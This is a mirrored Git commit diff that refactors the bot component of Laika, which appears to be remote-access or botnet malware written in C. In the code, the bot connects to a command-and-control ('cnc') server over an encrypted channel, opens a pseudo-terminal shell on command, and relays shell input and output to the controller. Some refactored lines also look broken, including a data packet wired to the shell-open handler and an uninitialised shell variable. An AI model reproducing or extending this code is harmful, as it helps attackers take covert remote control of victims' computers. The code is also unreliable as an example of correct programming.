mirror of
https://github.com/CPunch/Laika.git
synced 2025-10-11 18:30:08 +00:00
Major refactoring
lots and lots of changes. too many to list tbh, might rebase this commit later if i get bored enough.
This commit is contained in:
@@ -4,12 +4,6 @@
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t),
|
||||
[LAIKAPKT_SHELL_OPEN] = sizeof(uint8_t),
|
||||
[LAIKAPKT_SHELL_CLOSE] = sizeof(uint8_t),
|
||||
};
|
||||
|
||||
void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
uint8_t endianness = laikaS_readByte(&peer->sock);
|
||||
@@ -18,11 +12,23 @@ void laikaB_handleHandshakeResponse(struct sLaika_peer *peer, LAIKAPKT_SIZE sz,
|
||||
LAIKA_DEBUG("handshake accepted by cnc! got endian flag : %s\n", (endianness ? "TRUE" : "FALSE"));
|
||||
}
|
||||
|
||||
PeerPktHandler laikaB_handlerTbl[LAIKAPKT_MAXNONE] = {
|
||||
[LAIKAPKT_HANDSHAKE_RES] = laikaB_handleHandshakeResponse,
|
||||
[LAIKAPKT_SHELL_OPEN] = laikaB_handleShellOpen,
|
||||
[LAIKAPKT_SHELL_CLOSE] = laikaB_handleShellClose,
|
||||
[LAIKAPKT_SHELL_DATA] = laikaB_handleShellData,
|
||||
struct sLaika_peerPacketInfo laikaB_pktTbl[LAIKAPKT_MAXNONE] = {
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_HANDSHAKE_RES,
|
||||
laikaB_handleHandshakeResponse,
|
||||
sizeof(uint8_t),
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_OPEN,
|
||||
laikaB_handleShellOpen,
|
||||
0,
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_CLOSE,
|
||||
laikaB_handleShellClose,
|
||||
0,
|
||||
false),
|
||||
LAIKA_CREATE_PACKET_INFO(LAIKAPKT_SHELL_DATA,
|
||||
laikaB_handleShellOpen,
|
||||
0,
|
||||
true),
|
||||
};
|
||||
|
||||
struct sLaika_bot *laikaB_newBot(void) {
|
||||
@@ -31,12 +37,11 @@ struct sLaika_bot *laikaB_newBot(void) {
|
||||
char *tempIPBuf;
|
||||
size_t _unused;
|
||||
|
||||
memset(bot->shells, 0, sizeof(bot->shells));
|
||||
bot->shell = NULL;
|
||||
|
||||
laikaP_initPList(&bot->pList);
|
||||
bot->peer = laikaS_newPeer(
|
||||
laikaB_handlerTbl,
|
||||
laikaB_pktSizeTbl,
|
||||
laikaB_pktTbl,
|
||||
&bot->pList,
|
||||
(void*)bot
|
||||
);
|
||||
@@ -85,11 +90,9 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
|
||||
laikaP_cleanPList(&bot->pList);
|
||||
laikaS_freePeer(bot->peer);
|
||||
|
||||
/* clear shells */
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
if (bot->shells[i])
|
||||
laikaB_freeShell(bot, bot->shells[i]);
|
||||
}
|
||||
/* clear shell */
|
||||
if (bot->shell)
|
||||
laikaB_freeShell(bot, bot->shell);
|
||||
|
||||
laikaM_free(bot);
|
||||
}
|
||||
@@ -115,10 +118,10 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
|
||||
laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */
|
||||
|
||||
if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0)
|
||||
LAIKA_ERROR("failed to gen session key!\n")
|
||||
LAIKA_ERROR("failed to gen session key!\n");
|
||||
|
||||
if (!laikaS_handlePeerOut(bot->peer))
|
||||
LAIKA_ERROR("failed to send handshake request!\n")
|
||||
LAIKA_ERROR("failed to send handshake request!\n");
|
||||
}
|
||||
|
||||
void laikaB_flushQueue(struct sLaika_bot *bot) {
|
||||
|
@@ -10,14 +10,9 @@ struct sLaika_taskService tService;
|
||||
void shellTask(struct sLaika_taskService *service, struct sLaika_task *task, clock_t currTick, void *uData) {
|
||||
struct sLaika_shell *shell;
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
int i;
|
||||
|
||||
for (i = 0; i < LAIKA_MAX_SHELLS; i++) {
|
||||
shell = bot->shells[i];
|
||||
if (shell) {
|
||||
laikaB_readShell(bot, shell);
|
||||
}
|
||||
}
|
||||
if (bot->shell)
|
||||
laikaB_readShell(bot, shell);
|
||||
}
|
||||
|
||||
int main(int argv, char **argc) {
|
||||
|
@@ -10,9 +10,8 @@
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id) {
|
||||
struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot) {
|
||||
struct sLaika_shell *shell = (struct sLaika_shell*)laikaM_malloc(sizeof(struct sLaika_shell));
|
||||
shell->id = id;
|
||||
|
||||
shell->pid = forkpty(&shell->fd, NULL, NULL, NULL);
|
||||
|
||||
@@ -28,7 +27,7 @@ struct sLaika_shell *laikaB_newShell(struct sLaika_bot *bot, int id) {
|
||||
LAIKA_ERROR("Failed to set shell fd O_NONBLOCK");
|
||||
}
|
||||
|
||||
bot->shells[id] = shell;
|
||||
bot->shell = shell;
|
||||
return shell;
|
||||
}
|
||||
|
||||
@@ -37,8 +36,7 @@ void laikaB_freeShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
kill(shell->pid, SIGTERM);
|
||||
close(shell->fd);
|
||||
|
||||
bot->shells[shell->id] = NULL;
|
||||
|
||||
bot->shell = NULL;
|
||||
laikaM_free(shell);
|
||||
}
|
||||
|
||||
@@ -52,7 +50,6 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
if (rd > 0) {
|
||||
/* we read some input! send to cnc */
|
||||
laikaS_startVarPacket(peer, LAIKAPKT_SHELL_DATA);
|
||||
laikaS_writeByte(sock, shell->id);
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else if (rd == -1) {
|
||||
@@ -61,9 +58,7 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *shell) {
|
||||
/* not EWOULD or EAGAIN, must be an error! so close the shell */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeByte(sock, shell->id);
|
||||
laikaS_endOutPacket(peer);
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
@@ -87,9 +82,7 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
|
||||
/* unrecoverable error */
|
||||
|
||||
/* tell cnc shell is closed */
|
||||
laikaS_startOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
laikaS_writeByte(sock, shell->id);
|
||||
laikaS_endOutPacket(peer);
|
||||
laikaS_emptyOutPacket(peer, LAIKAPKT_SHELL_CLOSE);
|
||||
|
||||
/* kill shell */
|
||||
laikaB_freeShell(bot, shell);
|
||||
@@ -107,46 +100,38 @@ bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *shell, char
|
||||
return true;
|
||||
}
|
||||
|
||||
/* ================================================[[ Handlers ]]================================================ */
|
||||
/* ============================================[[ Packet Handlers ]]============================================= */
|
||||
|
||||
void laikaB_handleShellOpen(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
uint8_t id = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* check if shell id is in use */
|
||||
if (id >= LAIKA_MAX_SHELLS || bot->shells[id])
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested invalid id! [%d]\n", id);
|
||||
/* check if shell is already open */
|
||||
if (bot->shell)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_OPEN requested on already open shell!\n");
|
||||
|
||||
/* open shell */
|
||||
laikaB_newShell(bot, id);
|
||||
laikaB_newShell(bot);
|
||||
}
|
||||
|
||||
void laikaB_handleShellClose(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
uint8_t id = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* check if shell id is in use */
|
||||
if (id >= LAIKA_MAX_SHELLS || bot->shells[id] == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested invalid id! [%d]\n", id);
|
||||
/* check if shell is not running */
|
||||
if (bot->shell == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_CLOSE requested on unopened shell!\n");
|
||||
|
||||
/* close shell */
|
||||
laikaB_freeShell(bot, bot->shells[id]);
|
||||
laikaB_freeShell(bot, bot->shell);
|
||||
}
|
||||
|
||||
void laikaB_handleShellData(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uData) {
|
||||
char buf[LAIKA_SHELL_DATA_MAX_LENGTH];
|
||||
struct sLaika_bot *bot = (struct sLaika_bot*)uData;
|
||||
struct sLaika_shell *shell;
|
||||
uint8_t id;
|
||||
struct sLaika_shell *shell = bot->shell;
|
||||
|
||||
if (sz <= 1 || sz > (LAIKA_SHELL_DATA_MAX_LENGTH + 1))
|
||||
LAIKA_ERROR("malformed LAIKAPKT_SHELL_DATA!\n");
|
||||
|
||||
id = laikaS_readByte(&peer->sock);
|
||||
|
||||
/* sanity check id & validate shell */
|
||||
if (id >= LAIKA_MAX_SHELLS || (shell = bot->shells[id]) == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA sent invalid id! [%d]\n", id)
|
||||
/* sanity check shell */
|
||||
if (bot->shell == NULL)
|
||||
LAIKA_ERROR("LAIKAPKT_SHELL_DATA requested on unopened shell!\n");
|
||||
|
||||
/* read data buf */
|
||||
laikaS_read(&peer->sock, buf, sz - 1);
|
||||
|
Reference in New Issue
Block a user